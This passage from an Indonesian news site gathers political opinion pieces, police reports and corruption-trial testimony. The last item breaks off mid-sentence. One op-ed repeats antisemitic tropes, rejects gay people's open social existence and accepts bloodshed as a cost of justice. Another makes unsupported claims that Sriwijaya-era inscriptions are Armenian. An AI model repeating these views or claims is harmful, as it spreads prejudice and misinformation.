FNN

Ulama Sebut Kiai As'ad Ali Penuhi Kriteria Ketum PBNU

Oleh: Mochamad Toha DENGAN adanya kegaduhan yang dipicu oleh dua kandidat Ketua Umum PBNU Yahya Cholil Staquf dan Said Aqil Siradj, maka para sesepuh NU mulai memikirkan calon alternatif. “Dan dari sekian nama yang memenuhi kriteria ideal adalah KH Dr. As\'ad Said Ali,” ujar KH Malik Madani, guru besar UIN Sunan Kalijaga Jogjakarta yang juga mantan Katib Am PBNU hasil Muktamar Makassar. Kiai As\'ad adalah sosok pemimpin yang telah terbukti rela berkorban untuk menghidupi NU, bukan mencari hidup dan kebesaran dari NU. “Orang yang seperti beliaulah yang layak kita dukung untuk memimpin NU ke depan. Mari kita berikhtiar lahir batin untuk itu,” seru Kiai Malik. Kiai Malik menyitir, jika kita mengingat dawuh KH Sholahudin Wahid alias Gus Sholah bahwa \"berikan manfaat ke NU jangan ambil manfaat ke NU\", maka ia releven dengan kiprah Kiai As\'ad Ali yang selama ini telah memberi manfaat yang besar pada NU khususnya soal penggkaderan. “Jika kita teringat dawuh KH Muhammad Tholchah Hasan, pengurus NU itu harus melayani umat, bukan mengusai umat, maka sosok Kiai As\'ad Said Ali masuk di dalamnya,” tegas Kiai Malik Madani. Menurutnya, yang dihindarinya adalah SAS yang kebetulan alumni PMII dan Yahya yang kebetulan alumni HMI. “Kita menolak keduanya bukan karena latar belakang organisasi kemahasiswaannya semasa di bangku kuliah, melainkan karena perilaku dan manuver politiknya sebagai orang NU. Kita butuh figur seperti Kiai As\'ad!” ungkap Kiai Malik Madani. Dukungan untuk Kiai As’ad Ali memang terus mengalir dari daerah. Seperti dukungan Nahdliyin akar rumput di sejumlah daerah agar Kiai As’ad Said maju sebagai Ketum dalam Muktamar ke-34 NU di Lampung pada 23-25 Desember 2021. Salah satunya datang dari Ketua Pengurus Cabang Nahdatul Ulama (PCNU) Kabupaten Barru Sulawesi Selatan, Irham Djalil. Menurutnya, konsep kemandirian Kiai Asad patut diperhitungkan. Irham  berharap, Kiai As’ad Ali bisa membuat NU menjadi organisasi yang benar-benar mandiri dan maju.   Konsep yang diusung Kiai As’ad Ali konsep kemandirian NU. Sesungguhnya itu yang dicari-cari warga NU sekarang ini, baik di NU kultural maupun NU struktural. “Kita ini berharap sebenarnya ada kemandirian NU,\" ujar Irham, seperti dilansir Republika.co.id, Senin (13 Dec 2021 16:37 WIB). Irham yakin Kiai As’ad Ali akan membuat organisasi NU menjadi lebih baik lagi ke depannya. Dengan konsep kemandirian yang diusung Kiai As’ad Ali, kata dia, warga nahdliyin tidak perlu lagi untuk meminta bantuan dana kepada pihak-pihak lain.   “Jadi, kalau ke mana-mana itu gak perlu tenteng proposal minta-minta. Itu adalah bagian dari kemandirian. NU ini tidak perlu ada kekuatan luar yang bisa mempengaruhi NU,” ucap Irham.  \"Saya lihat ini kalau Kiai As’ad Ali usungannya seperti itu ya ini sangat luar biasa. Dan ini saya kira (hal ini) harus diapresiasi oleh warga NU maupun NU struktural,” imbuhnya.   Irham memang menyayangkan nama Kiai As’ad Ali yang baru saja diusung belakangan ini untuk maju sebagai calon alternatif Ketum PBNU. Kendati demikian, menurut dia, tidak ada kata terlambat demi kemandirian NU di masa mendatang.   \"Tapi, meskipun agak terlambat start-nya, kalau Nahdlyin ini, khususnya struktural ini mau menggunakan nurani, tidak ada kata terlambat. Karena ini kan belum juga Muktamar,\" kata Irham.   Menurutnya, sudah menjadi rahasia umum bahwa sekarang ini ada dua kubu yang akan maju pada Muktamar ke-34 di Lampung, yaitu kubu KH Said Aqil Siradj dan KH Yahya Cholil Staquf. Karena itu, dia khawatir pada Muktamar nanti akan terjadi kekacauan.   Jika nanti terjadi kekacauan, Kiai As’ad Ali bisa menjadi alternatif untuk memimpin NU ke depan. “NU ini organisasi besar yang sudah bertahun-tahun mengkader. Kalau buntu kiri dan buntu kanan, harus ada alternatif dan alternatif itu bukan ban serep,” jelas Irham.   Dia pun mengaku senang jika banyak kader NU yang akan maju sebagai calon Ketum PBNU pada Muktamar tahun ini. Menurut dia, hal itu akan menunjukkan bahwa NU tidak pernah kekurangan kader pemimpin.   “Saya senang kalau misalnya banyak kader-kader NU yang tampil bersiap-siap untuk memegang estafet kepemimpinan. Itu berarti kalau NU itu tidak kekurangan kader,” lanjutnya. “Oleh karena itu, tidak ada kata tadah cari kiri-kanan, harus sudah siap dari awal. Saya kira Kiai As’ad ini yang bisa menangkap peluang ini,” jelas Irham.  Dalam Muktamar ke-33 NU di Jombang, Kiai As’ad Ali yang saat itu masih menjabat Waketum PBNU menjadi penantang Ketum Said Aqil Siradj. Kiai As’ad tak asing lagi sebagai tokoh nasional yang sempat pula disebut-sebut akan menjabat sebagai Kepala BIN. Kiai As’ad Ali adalah lulusan Hubungan Internasional Fakultas Ilmu Sosial dan Ilmu Politik Universitas Gadjah Mada, Jogjakarta. Pria kelahiran Kudus pada 19 Desember 1949 itu sebelumnya adalah santri Ponpes Al Munawwir, Krapyak, Jogjakarta. Setelah lulus dari UGM, As’ad Ali diminta oleh tokoh NU Subhan ZE untuk berkiprah di Badan Koordinasi Intelijen Negara (BAKIN). Dengan bekal ilmu hubungan internasional dan pesantren, As’ad Ali kemudian ditugaskan di negara-negara Timur Tengah. Pada 1999 semasa Presiden ke-4 RI Abdurahman Wahid, As’ad kemudian didaulat untuk menjadi Wakil Kepala BIN. Sejak saat itu sampai dengan 9 tahun kemudian As’ad bertahan sebagai WakaBIN. Kiprah Kiai As’ad Ali dalam organisasi otonom NU juga cukup banyak. Pria kelahiran Kudus ini tercatat pernah aktif di IPNU, PMII, dan GP Ansor. Tak hanya itu, As’ad pun menulis beberapa buku yang antara lain adalah Negara Pancasila (2009), Pergolakan di Jantung Tradisi (2009), dan Ideologi Pasca Reformasi (2010). Latar belakang pengalaman dan intelektual itu membuat Kiai As’ad meraih gelar Doktor Honoris Causa dari Fakultas Hukum Universitas Diponegoro, Semarang. Kiai As’ad Ali mengaku, pernah diragukan ke-NU-annya ketika ia diangkat sebagai Wakil Ketua Umum PBNU pada 2010-2015. Uniknya, orang yang menganggapnya bukan kader NU itu salah satu pengurus teras PBNU. “Saya datangi. Saya tanya lebih lama siapa mondoknya antara saya dengan sampean,” ungkap Kiai As’ad Ali. Tak pelak, pengurus PBNU yang merasa paling NU itu gelagapan. Ternyata justifikasi NU dan bukan NU itu sangat politis. Sejak peristiwa itu, keraguan terhadap ke-NU-an Kiai As’ad Ali mulai reda. Apalagi, ia menjabat sebagai wakil ketua umum PBNU karena diminta KHA Sahal Mahfudz yang saat itu terpilih sebagai Rais Aam. Kiai As’ad Ali sendiri merasa menjadi NU sejak lahir karena orang tua dan keluarganya memang NU tulen. Bahkan, sebelum masuk struktur PBNU, ia disebut-sebut banyak membantu NU terutama dari segi pendanaan. Ia malang melintang di dunia intelijen sekitar kurang 36 tahun. Karena itu mudah dipahami jika banyak pihak menilai bahwa tokoh NU yang lahir 19 Desember 1949 itu merupakan salah satu tokoh BIN terbaik di negeri ini. Di NU, Kiai As’ad Ali identik dengan kaderisasi, terutama Pendidikan Kader Penggerak Nahdhaltul Ulama (PKPNU). Namun, ia mengklarifikasi. Menurut dia, PKPNU berawal dari keputusan pleno PBNU di Jogjakarta. Tapi, program pengkaderan itu tak jalan karena tak ada yang menangani terutama karena faktor dana. Maklum, untuk kegiatan itu butuh Rp 300 juta pada gelombang pertama. Akhirnya Kiai As’ad terjun langsung. Tidak salah jika memang sebagian sesepuh NU seperti Kiai Malik Madani juga mendukung Kiai As’ad Ali maju sebagai calon Ketum PBNU. Penulis Wartawan FNN.co.id    

Catatan dari Hotel Karantina Hari Kedelapan: Tentang Identitas

Oleh Dr. Syahganda Nainggolan Sudah 8 hari aku dikarantina hotel. Kemarin aku ikut menandatangani petisi menolak karantina ala hotel ini di petisi change.org, yang diinisiasi seseorang yang menolak Karantina berbiaya mahal. Karantina memang tidak pantas mahal, itu tidak perlu diperdebatkan. Ketika Realita TV mewawancarai aku beberapa hari lalu, aku mengatakan bahwa jika aku jadi pemimpin negeri ini, maka aku pastikan tidak ada Karantina berbayar. Bahasa itu bukan berarti aku ingin jadi pemimpin, tapi berbayar itu tidak masuk logika. Namun, setelah melewati setengah masa Karantina, aku lebih rileks. Anehnya seharian kemarin aku kehilangan nafsu menulis. Tulisan ini kumulai kemarin, kelanjutan sekarang. Hari ini aku pesan nasi melayu, sebelumnya dua hari, makan nasi Arab. Pilihan menu di sini hanya makanan Indonesia, Arab dan Barat. Lima hari pertama aku makan makanan Indonesia, sedang istriku makanan barat. Pindah ke makan Arab membuat rasa (taste) sedikit baikan, sebelum itu aku sudah mual lihat makanan, itu lagi - itu lagi. Makanan Arab terdiri dari nasi, "Wrap" (terdiri dari sayur mayur, daging dan saos yang dibungkus kulit mirip lumpia), daging ayam ala kare dan pudding. Ketika memakan nasi, aku menggigit rempah-rempah, aku berpikir itu ketumbar, ternyata cengkeh. Bagian restoran juga semakin baik, memberikan ekstra cappucino siang hari dan kemarin buah potong. Aku baru saja menghubungi manajer untuk aku bisa pulang lusa, Rabu, dinihari. Yang jelas paket hotel tetap berbayar 9 malam 10 hari. Dia akan usahakan, katanya, tapi nunggu arahan staf Kemenkes. Terlihat standar hari itu tidak jelas berapa jam totalnya. Kalau di penjara, aturannya, orang tidak boleh ditahan lebih dari 1 menit. Aku tidak ingin membahas kasus heboh soal karantina ini. Terkait dua artis. Yang satu Rachel Venja yang lari menghindar dari Karantina dengan menyogok 40 juta. Kedua, Mulan Jameela, karena anggota DPR bebas Karantina di rumah. Ini bukan di negara beradab, yang standar hukum disebutkan warga negara "equal before the Law". Hari ini aku ingin menulis soal identitas. Anak perempuanku yang kuliah di antropologi memposting agenda kampusnya minggu depan, pekan Antropologi, dengan isu identitas. Dia semakin senang kuliah antropologi. Beberapa bulan lalu dia baru pulang dari pulau Manggur, dan Pulau Key, bakti sosial desa dan mengunjungi Pulau Seram dan Ambon. Ini pengalaman dia yang katanya menarik, melihat keberagaman Indonesia. Sebelumnya dia rencana bakti sosial ke Tanzania, tapi urung karena situasi pandemi. Bila teman-teman sudah pernah membaca berbagai ulasan aku dalam tulisan terdahulu, dalam isu identitas, anggap saja ini pengulangan maupun sebuah variasi. Tentang identitas adalah tentang potret diri dan kelompok sosial. Identitas manusia terkait dengan afiliasinya pada kelompok sosialnya. Manusia sejatinya adalah makhluk sosial. Semakin seseorang diakui dalam lingkungan sosialnya, maka semakin nyaman orang tersebut. Ikatan komunitas pembentuk kelompok sosial antara lain adalah agama, suku, ras dan golongan. Pendefinisian golongan ini lebih susah dipahami, tapi kita tahu misalnya di Indonesia seperti antara kaum buruh dan pengusaha, mereka dikatagorikan golongan. Golongan kalau di barat umumnya saat ini terkait dengan kedekatan ideologi dan pilihan orientasi seksual. Identitas dapat menjadi pembeda yang menguntungkan bagi kelompok sosial yang lebih heterogen, karena ada peluang mendapatkan pengalaman baru di luar kelompok sosialnya sendiri. Namun, seringkali juga jadi masalah. Seperti kompetisi, ekploitasi dan penyeragaman sosial secara paksa. Masalah identitas, ketika jadi masalah, adalah masalah manusia dengan nafsunya. Ketika aku berbicara tentang makanan Arab di atas, maka aku sedang mendeskripsikan sebuah keunikan dan keberagaman kehidupan di dunia ini. Aku ingin mendapatkan pengalaman (lagi). Aku tidak memikirkan sebuah pertentangan maupun kompetisi. Namun, dalam konteks sosial, ekonomi dan politik, kalau aku berbicara Arab, spektrum pembicaraan bisa bergeser. Misalnya ketika aku memikirkan susahnya lelaki pribumi mendapatkan gadis Arab di sini, memikirkan dominasi orang Arab dalam menafsirkan agama (Islam) maupun orang Arab yang selalu lebih kaya. Beberapa tahun lalu, ketika aku membuat tulisan-tulisan yang mendukung Anies Baswedan untuk menjadi Presiden ke depan, seorang model wanita senior, keturunan keraton Solo, mengingatkan aku bahwa Anies bukan pribumi. Memang sekarang dia berubah pikiran. Namun, persoalan identitas akan semakin rumit jika masuk ke ranah kekuasaan. Di penjara waktu beberapa bulan lalu, pengantar minum kopiku adalah Hendri, seorang waria (guy). Dia di penjara karena pacaran dengan seorang jenderal, lalu istri jenderal itu melaporkan ke polisi. Aku mengatakan pada Hendri, dia boleh bersahabat dengan aku, dan kami saling mengantar makanan, tapi dia tidak boleh lama-lama di kamarku. Aku jelaskan itu padanya ketika aku meminta dia keluar dari kamarku, ketika dia berusaha lama bercanda dengan teman-teman di kamarku. Aku tidak membenci sebuah penyimpangan orientasi seksual secara privat, itu mungkin di luar kuasa seseorang. Tapi dalam identitas sosial, aku belum bisa menerima eksistensi mereka secara terbuka. Apalagi jika mereka meminta hak-hak politik terkait persamaan sosial secara total. Ketika aku berjalan-jalan di Amsterdam beberapa minggu lalu, aku melihat museum Anna Frank dari luar. Aku ingin masuk museum itu, sesungguhnya. Tapi ternyata antriannya harus beberapa minggu sebelumnya. Anne Frank adalah gadis kecil remaja keturunan Jahudi yang berhasil selama dua tahun bersembunyi di ruang bawah tanah rumahnya, menghindar dari kejaran Nazi, pada masa perang dunia ke dua. Akhirnya dia dan keluarganya ketahuan dan ditangkap. Seratusan ribu orang-orang Jahudi dari Belanda, masa itu telah dibawa ke kamar gas untuk di bunuh, di kamp Auschwitz, Polandia, mau pun Jerman. Anne meninggal di kamp Nazi, Jerman, dalam usia remaja. Dia mempunyai catatan hidupnya (diary) selama dua tahun ketika bersembunyi. Diary dan tempat persembunyian itu, saat ini, dijadikan simbol kekejaman terhadap masyarakat Jahudi secara internasional. Manusia pada dasarnya mencari ruang untuk hidup sepanjang masa. Dalam Islam, pada dasarnya manusia dikatakan bersifat hanif atau cenderung berbuat baik. Sebaliknya ada ajaran yang mengatakan manusia pada dasarnya mempunyai dosa lahir, sehingga dasarnya ingin berbuat buruk. Jaquest Rousseau, tokoh filsuf Prancis meyakini sifat dasar manusia adalah baik. Sedangkan Thomas Hobbes, filsuf Inggris, meyakini sifat dasar manusia adalah buruk. Sejarah dunia digerakkan oleh sifat baik dan buruk manusia. Spinoza dan Anne Frank, umpamanya, dahulu adalah imigran Jahudi di Amsterdam. Orang-orang Jahudi awalnya bermigrasi dari Sapanyol dan Portugal, ketika penguasa Katolik di sana mengusir mereka . Protestan yang menguasai Belanda memberikan tempat bagi Jahudi bermigrasi. Namun, ketika Hitler berkuasa, di mana agama Protestan mayoritas, mereka/NAZI melenyapkan kaum Jahudi itu tanpa melihat mereka sebagai manusia. Menariknya lagi adalah berita Washington Post 29/4/2020, yang membongkar keterlibatan pimpinan Katolik dunia, Vatikan, dalam membela pemimpin Nazi. Disebutkan di Post itu, hasil riset tentang mengapa pemimpin Katolik membela Nazi, antara lain, karena mereka mendukung pembantaian Komunis. Seperti diketahui dahulu Jahudi menggerakkan ideologi Komunis di sana. Beberapa waktu lalu, sebelum saya liburan ke Belanda, Rocky Gerung mem briefing saya tentang hasil survei kredibel, saat ini lebih dari 70% masyarakat Indonesia mengalami sentimen rasial terkait agama dan ras. Katanya orang-orang Islam yang di survei ingin dominasi Islam diberlakukan. Hal ini ternyata mirip dengan apa yang terjadi di Belanda. Sebuah opini yang ditulis seorang antropolog di media online Al-Jazeera, 29/9/21, berjudul "A court just confirmed: To be Dutch is to be white", dengan sub judul, "Hague District Court recently ruled that ethnicity can be used to single out passengers for checks at Dutch airports". Opini ini terkait seorang anggota dewan di Eindhoven, Belanda, yang berkulit hitam di periksa secara ketat oleh imigrasi, ketika sampai di airport di sana. Padahal dia adalah orang Belanda dalam pengertian warganegara, apalagi pemimpin suatu kota, di mana pabrik Philips berada. Ketika dia mengajukan keberatan atas pemeriksaan imigrasi berdasarkan warna kulit, pengadilan Belanda membela pihak Imigrasi. Identitas dan kekerasan kelihatannya lebih sering menghiasi bumi dari pada identitas dan perdamaian. Orang-orang yang melakukan analisa sosial, seperti agama, suku dan ras, umumnya memotret juga perebutan ruang hidup dari sisi ekonomi. Orang-orang Jahudi di Eropa korban pembantaian Hitler, di masa lalu, mencampur adukkan urusan agama ras dan perbedaan ekonomi. Saat itu Jahudi di sana dikenal sebagai kaum pedagang. Di Amsterdam kala itu semua pedagang berlian adalah Jahudi. Kaum Jahudi kesulitan membaur dengan masyarakat di sana. Namun, mereka berusaha mengontrol kota/negara dengan kapitalnya. Namun, dalam kasus gerakan diskriminasi warna kulit di Amerika dan eropa, orang-orang hitam tidak menguasai ekonomi. Gerakan #BlackLivesMatter berjuang justru untuk mendapatkan pengakuan yang setara dengan kulit putih. Spektrum pengaruh perebutan ruang publik berbasis kapital pastinya lebih berdampak memusnahkan. Mungkin itu yang jadi perhatian Rocky Gerung atas hasil survei yang disampaikan pada saya. Isu dan tema identitas di Indonesia akan meruncing menjelang pemilu 2024. Anies Baswedan yang keturunan Arab sudah memproklamirkan diri untuk menjadi Calon Presiden. Jika Anies dipersepsikan sebagai Islam bukan sebagai Arab, peluang Anies akan besar untuk menjadi Presiden. Sebab, banyak Raja-raja Nusantara keturunan Arab dulunya, termasuk Pangeran Dipanegoro. Jokowi sendiri di masa lalu ketika ingin jadi presiden melakukan eksploitasi ke-Jawa-annya, serta terus mempertahankan polarisasi sosial yang ada. Sebagian orang melihat bahwa ekploitasi identitas terkait kekuasaan akan menimbulkan luka. Namun, sebagian lainnya mengatakan bahwa mengontrol ruang publik dan melakukan dominasi sosial-ekonomi harus dilakukan dengan cara apapun. Bagi saya pertarungan sejati dari isu identitas dan politik identitas adalah keadilan sosial. Kebencian sosial dapat dikendalikan jika keadilan ekonomi dan hukum terjadi. Jika pertumpahan darah dan kekerasan merupakan ongkos cita-cita keadilan sosial, ongkos itu juga harus dibayar. Rakyat tidak boleh mengemis dan menderita di negerinya sendiri. Politik identitas ke depan harus berbasis kepentingan rakyat itu. Masalah identitas yang bersifat interpersonal harus dipelihara bersifat natural. Namun, identitas yang terkait hak ekonomi dan sosial, harus dipertaruhkan. Dan rakyat harus berjuang bersama pemimpin yang membebaskannya. Demikianlah pandangam saya soal identitas dan politik identitas. Penulis adalah Presidium KAMI *)

Migran Armenia, dan Syarat Presiden 'Orang Indonesia Asli'

Oleh Ridwan Saidi *) Letak geografi Armenia strategis. Armenia jalan masuk, vice versa, Eropa-Asia. Tetangga dekatnya di sebelah barat adalah Turki dan di timur, Azerbaijan. Tidak mengherankan dari segi bahasa banyak persamaan kosa kata dengan Turki dan Azerbaijan, juga dengan bahasa yang dipakai bangsa-bangsa Asia Minor seperti Uzbekistan, dan provinsinya sekarang Samarkand. Armenia pada abad III/IV M menjadi kekaisaran dan negara Katolik pertama di dunia. Justru bukan Romawi. Armenia pada era mutakhir justru terkenal via artis cat walk Kim Kardashian. Berdasar litho Majakatera, abad XVII orang Armenia sudah di Andunisi. Tapi 2 tahun lalu seorang pakar Amerika yang diundang sebuah universitas di Sumatera berkata abad XVI M orang Armen kesini. Pakar ini berhadir untuk menyanggah pendapat saya bahwa prasasti Kedukan Bukit dan Koto Kapur berbahasa Armen dan bukan Sanskerta . Kedua prasasti ini persis seabad dijadikan alat bukti keberadaan Sriwijaya. Sedangkan kedua prasasti, yang diclaim dari abad VII, itu prasasti orang Asia Minor tentang weltaanschuwung, pandangan dunia, dan ajaran moral. Bukan tentang power system seprti dikhayalkan mereka selama ini. Banyak kita jumpa pria Indonesia bernama Armen. Ini indikasi bahwa orang Armenia dapat hidup serasi dengan native. Pada November 1945 di Surabaya orang2 Armenia berpawai dukung proklamasi kemerdekaan RI. Pada abad XX orang asal Armenia lebih suka sebut dirinya Eurosia. Mungkin saja ini terkait dengan hirarchi kelas kewargaan di Indonesia yang diatur kolonial. 1. Europeaner en Hollander 2 Veemde Oostelingen: Chinezen, Arabieren, Yapan. 3. Inlander Orang Indinesia asli disebut warga kelas 3 atau kelas Kambing. Tidak dirinci kambing bandot atau kambing kacang. Akhirnya saya paham mengapa founding fathers mencantum syarat 'orang Indonesia asli' untuk seorang calon Presiden. Tinggalan bersejarah orang Armen adalah sebuah gereja Katolik (photo atas). Pada tahun 1800 gereja ini dijual katena jemaat tinggal 40. Tak jelas lagi riwayatnya setelah itu. Sekarang bangunan gereja itu merupakan bagian dari kompleks Gedung Bank Indonesia di Jalan Thamrin-Kebon Siri & Budi Kemuliaan. *) Budayawan

Polisi Gagalkan Pengiriman 8,4 Kg Sabu-Sabu Tujuan Semarang

Semarang, FNN - Kepolisian Resor Kota Besar (Polrestabes) Semarang menggagalkan pengiriman 8,4 kg narkotika jenis sabu-sabu dari Kalimantan menuju Kota Semarang melalui jalur laut. Kapolda Jawa Tengah Irjen Pol. Ahmad Luthfi di Semarang, Senin, mengatakan satu tersangka yang merupakan kurir 8,4 kg sabu-sabu ditangkap saat bersembunyi di indekosnya di Sayung, Kabupaten Demak. Menurut dia, pengungkapan kasus itu bermula ketika pemilik salah satu truk yang melakukan perjalanan dari Kalimantan menuju Semarang dengan menggunakan KM Dharma Kartika VII melapor kepada polisi tentang adanya barang mencurigakan di bak truk miliknya. Kapolda mengatakan dari pemeriksaan bersama polisi diketahui bungkusan tersebut berisi delapan paket sabu-sabu seberat 8,4 kg. Petugas kemudian menindaklanjuti temuan tersebut dengan memeriksa rekaman CCTV di atas KM Dharma Kartika VII yang bersandar di Pelabuhan Tanjung Emas Semarang, kata Kapolda. "Dari rekaman CCTV terlihat seseorang melempar sesuatu ke bak truk di atas kapal yang akan bersandar di pelabuhan," katanya. Kapolda menyebutkan cara tersebut diduga sebagai modus baru untuk menyelundupkan sabu-sabu. "Setelah truk turun dari kapal, kemungkinan truk akan diikuti pelaku untuk diambil kembali barangnya," kata dia. Dari penelusuran rekaman dan manifes penumpang kapal, kata dia, maka diketahui identitas kurir pengirim narkotika tersebut. Pelaku diketahui bernama Helianto Kosim (42) warga Kotawaringin Timur, Kalimantan Tengah. Dari penelusuran petugas hingga ke tempat tinggalnya di Kalimantan diketahui tersangka bersembunyi di salah satu indekos di Sayung, Kabupaten Demak. Dari keterangan tersangka diketahui.pengiriman barang haram tersebut merupakan perintah dari seseorang berinisial S, ujarnya. Mantan residivis kasus penipuan itu mengaku mendapat upah sebesar Rp20 juta untuk setiap kg sabu-sabu yang berhasil dikirimnya. Atas perbuatannya, tersangka dijerat dengan Undang-undang Nomor 35 Tahun 2009 tentang Narkotika. (sws)

Kapolda NTT Copot Empat Polisi Diduga Aniaya Tahanan Hingga Tewas

Kupang, FNN - Kapolda Nusa Tenggara Timur Irjen Pol Lotharia Latif mengatakan bahwa dirinya sudah mencopot empat anggota Polsek Katikutana, Kabupaten Sumba Barat, yang diduga terlibat penganiayaan seorang tahanan hingga meninggal dunia di dalam sel. "Empat anggota yang terindikasi menangani kasus tersebut, kini sudah saya copot dan saya amankan untuk diperiksa di Polres Sumba Barat," katanya kepada wartawan di Kupang, Senin. Hal ini disampaikannya berkaitan dengan perkembangan kasus meninggalnya Arkin seorang tahanan di Sel Polsek Katikutana pada Kamis (9/12) setelah pada Rabu (8/12) ditangkap di kediaman pamannya. Kapolda mengatakan bahwa dirinya tidak mentoleransi siapa pun anggota Polri yang berbuat kasar kepada masyarakat, apalagi sampai mengakibatkan meninggal dunia. Ia mengatakan bahwa sebenarnya ada tujuh orang yang sudah diperiksa dalam kasus tersebut. Tiga di antaranya merupakan petugas piket yang berjaga saat kejadian, kemudian empat orang lainnya yang menangkap korban pada Rabu (8/12). "Saya sudah perintahkan agar empat orang ini diperiksa secara intensif dan wajib mempertanggungjawabkan apa yang sudah mereka perbuat," tambah dia. Dia menyesalkan adanya kejadian tersebut. "Saya sampaikan rasa keprihatinan dan dukacita mendalam serta menyesalkan peristiwa tersebut," kata dia. Ia berjanji akan tetap transparan dan menindak tegas anggotanya sesuai aturan hukum yang berlaku bagi anggota yang terbukti melanggar. Lotharia berharap agar masyarakat tetap menjaga situasi kamtibmas sehingga tercipta situasi kondusif. (sws)

Kapolda Sumsel Perintahkan Kapolres Tutup Celah Peredaran Narkoba

Palembang, FNN - Kepala Kepolisian Daerah Sumatera Selatan Irjen Pol.Toni Harmanto memerintahkan kepada seluruh kapolres di jajarannya meningkatkan pengungkapan kasus narkoba untuk mempersempit bahkan menutup celah peredaran gelap barang terlarang itu. "Berdasarkan data pekan kedua Desember 2021, ada satu polres yang tidak berhasil mengungkap satupun kasus narkoba di wilayah hukumnya yakni Polres Muara Enim," kata Kabid Humas Polda Sumsel Kombes Pol.Supriadi di Palembang, Senin. Melihat fakta tersebut, pada setiap kesempatan Kapolda selalu memerintah para kapolres menggalakkan operasi pemberantasan penyalahgunaan dan peredaran gelap narkoba. "Polda Sumsel bersama jajaran terus melakukan berbagai cara untuk membuat peredaran gelap narkoba menjadi tertekan di wilayah Sumsel dengan 17 kabupaten dan kota itu," ujarnya. Menurut dia, pihaknya berupaya membuat jaringan narkoba di wilayah provinsi ini tertekan hingga semuanya berhasil ditangkap dengan harapan pada pekan ketiga Desember 2021 tidak ada lagi polres yang masuk dalam data nihil pengungkapan kasus. Dalam sepekan terakhir ini, Direktorat Reserse Narkoba (Ditresnarkoba) Polda Sumsel bersama Polrestabes dan Polres jajaran berhasil mengungkap 36 kasus peredaran gelap narkoba serta menangkap 49 tersangka dengan perincian 45 orang pengedar dan empat orang pemakai. Sedangkan barang bukti yang diamankan dari para tersangka sekitar 371,53 gram sabu, 355,92 gram ganja, dan 32 butir pil ekstasi. Dengan pengungkapan kasus dan penyitaan barang bukti kejahatan narkoba itu, bisa menyelamatkan 2.648 generasi muda atau anak bangsa dari mengonsumsi barang terlarang itu, kata Kabid Humas Polda Sumsel. (sws)

Polres Wonosobo Apel Pengecekan Sarana Prasarana Pengamanan Natal

Temanggung, FNN - Kepolisian Resor Wonosobo, Jawa Tengah, menggelar apel pengecekan sarana dan prasarana dalam menghadapi pengamanan Natal dan Tahun Baru 2022 diikuti sejumlah personel polres maupun polsek. "Menjelang pelaksanaan Operasi Lilin atau pengamanan Natal dan Tahun Baru 2022, seluruh sarana dan prasarana dari kendaraan hingga alat inventaris lain kami cek kesiapannya," kata Kapolres Wonosobo AKBP Ganang Nugroho Widhi di Wonosobo, Senin. Ganang menyampaikan pengecekan sarana prasaran dinas mulai dari kendaraan dinas roda empat maupun roda dua hingga inventaris lain, seperti senjata api dan rompi serta alat lainnya. Menurut dia, tidak hanya melakukan pengecekan sarana dan prasarana, tetapi juga pengecekan kesiapan anggota dalam menghadapi berbagai pengamanan kegiatan besar. "Selama ini kami disibukkan dengan penanganan COVID-19, jangan sampai sarana dan prasarana serta alat dinas tidak diperhatikan keadaannya," kata Ganang. Dalam pengecekan tersebut, lanjut dia, tidak ditemukan kerusakan berat. Meskipun dalam keadaan baik dan layak, dia berharap anggota bisa melakukan pemeliharaan dengan baik. "Terus tingkatkan kemampuan dalam bekerja, rawat dan jaga alat-alat inventaris dinas dalam keadaan baik guna mendukung pemeliharaan kamtibmas di Kabupaten Wonosobo," katanya. (sws)

Saksi Ungkap Uang dari Rumah Azis Syamsuddin untuk Hilangkan Nama

Jakarta, FNN - Saksi bernama Agus Susanto mengungkapkan peristiwa saat mantan penyidik KPK Stepanus Robin Pattuju mengambil pemberian yang diduga uang dari rumah dinas eks Wakil Ketua DPR Azis Syamsuddin agar menghilangkan penyebutan nama di persidangan. "Yang saya lihat, (uang) udah dibagi, sudah ada di tangan Pak Robin lalu dari sana langsung ke 'money changer'. Cuma ada komunikasi telepon Pak Robin dengan orang yang saya tidak kenal, katanya aman untuk persidangan. Kalimatnya 'Pokoknya, aman Bang, untuk nama Abang tidak akan disebut di persidangan'," kata Agus Susanto di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Agus Susanto yang merupakan sopir mantan penyidik KPK Stepanus Robin Pattuju menjadi saksi untuk terdakwa eks Wakil Ketua DPR Muhammad Azis Syamsuddin didakwa memberi suap senilai Rp3,099 miliar dan 36 ribu dolar AS sehingga totalnya sekitar Rp3,619 miliar kepada Stepanus Robin Pattuju dan advokat Maskur Husain terkait pengurusan penyelidikan KPK di Lampung Tengah. "Saat itu saya diminta Pak Robin untuk berkemas memasukkan kardus ke tas, Pak Robin minta tolong diantar ke rumah Jalan Denpasar lalu sampai ke rumah tersebut Pak Robin turun membawa ransel menuju rumah," ungkap Agus Susanto. Agus lalu menunggu sekitar 15 menit di mobil yang di parkir di depan rumah dinas Azis Syamsuddin. "Lalu Pak Robin masuk kedalam mobil. Di perjalanan, Pak Robin mengeluarkan 'paper bag' warna cokelat yang berisi uang bukan uang rupiah. Katanya itu didapat dari rumah tadi, bicaranya 'Ini hasil kerja, Pak Robin cerita itu dari bapak asuh'," tambah Agus Susanto. Mobil yang membawa Agus dan Robin lalu bergerak ke Pengadilan Negeri Jakarta Pusat di Kemayoran. "Ada pemisahan uang dalam perjalanan, ada 3 bagian lalu ia langsung ke PN Pusat, memberikan ke Om Ale di parkiran jadi mobil ke basement. Pak Robin turun, saya stand by, setelah selesai langsung balik lagi ke mobil," ungkap Agus. Setelah dari PN Jakarta Pusat, Robin dan Agus lalu ke "money changer" di Mangga Besar, Jakarta. "Setelah beberapa jam, Pak Robin ada nelepon namanya Om Ale, memastikan untuk nama tadi aman tidak untuk tidak disebut di persidangan," tambah Agus. Menurut Agus, Robin meminta KTP-nya untuk menjadi nama yang dipakai dalam menukarkan uang. "Pak Robin beralasan karena Pak Robin sebagai anggota Polri. Terus saya pernah ngomong saya tidak pernah transaksi dolar. Saya katakan ini bisa sampai ini gak? Aman Mas kata Pak Robin," ungkap Agus. Uang yang ditukar ke bentuk rupiah tersebut lalu diserahkan ke Maskur Husain di Rumah Makan Borero. "Ada percakapan katanya untuk penghilangan nama Pak Azis, ada percakapan itu," kata Agus. Dalam perkara ini, Azis Syamsuddin diduga meminta bantuan Stepanus Robin Pattuju selaku penyidik KPK untuk mengamankan namanya dalam penyelidikan dugaan adanya tindak pidana korupsi berupa penerimaan hadiah atau janji terkait pengurusan Dana Alokasi 